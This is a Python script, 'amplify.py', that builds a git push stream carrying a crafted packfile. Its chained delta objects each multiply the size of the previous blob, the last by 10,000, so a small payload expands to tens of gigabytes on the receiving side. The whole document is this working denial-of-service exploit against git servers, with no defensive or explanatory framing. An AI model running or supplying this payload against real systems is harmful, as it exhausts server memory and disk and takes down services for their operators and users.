Git delta amplification

amplify.py

#!/usr/bin/env python3

import hashlib
import os
import struct
import sys
import zlib


def blob_id(blob):
    m = hashlib.sha1()
    m.update(b'blob %d\0' % len(blob))
    m.update(blob)
    return m.digest()


def make_delta(src_size, dst_size, commands):
    return encode_size(src_size) + encode_size(dst_size) + commands


def encode_size(n):
    b = bytearray()
    while n > 0:
        mod = n & 0x7f
        n >>= 7
        if n > 0:
            b.append(0x80 | mod)
        else:
            b.append(mod)
    return b


def object_header(obj_type, obj_size):
    header = bytearray()
    b = (obj_type << 4) | (obj_size & 15)
    obj_size >>= 4
    while obj_size > 0:
        header.append(b | 0x80)
        b = obj_size & 0x7f
        obj_size >>= 7
    header.append(b)
    return header


def main():
    zero_id = b'0' * 40
    fake_id = b'1' * 40
    create_ref = b'%s %s refs/heads/xxx\x00\n' % (zero_id, fake_id)
    pkt_line = b'%04x%s' % (len(create_ref) + 4, create_ref)

    sys.stdout.buffer.write(pkt_line)
    sys.stdout.buffer.write(b'0000')

    pack = bytearray()

    pack += b'PACK' + struct.pack('!II', 2, 4)

    size0 = 255
    blob0 = os.urandom(size0)
    pack += object_header(3, size0)
    pack += zlib.compress(blob0)

    size1 = size0 * 256
    cmd1 = bytes([0x80 | 0x10, 0xff]) * 256
    delta1 = make_delta(size0, size1, cmd1)
    pack += object_header(7, len(delta1))
    pack += blob_id(blob0)     # source blob
    pack += zlib.compress(delta1)

    size2 = size1 * 256
    cmd2 = bytes([0x80 | 0x20, 0xff]) * 256
    delta2 = make_delta(size1, size2, cmd2)
    pack += object_header(7, len(delta2))
    pack += blob_id(blob0 * 256)    # source blob
    pack += zlib.compress(delta2)

    size3 = size2 * 10000
    cmd3 = bytes([0x80 | 0x40, 0xff]) * 10000
    delta3 = make_delta(size2, size3, cmd3)
    pack += object_header(7, len(delta3))
    pack += blob_id(blob0 * 256 * 256)    # source blob
    pack += zlib.compress(delta3)

    data = pack + hashlib.sha1(pack).digest()

    print('Payload size: %d' % len(data), file=sys.stderr)

    sys.stdout.buffer.write(data)


if __name__ == '__main__':
    main()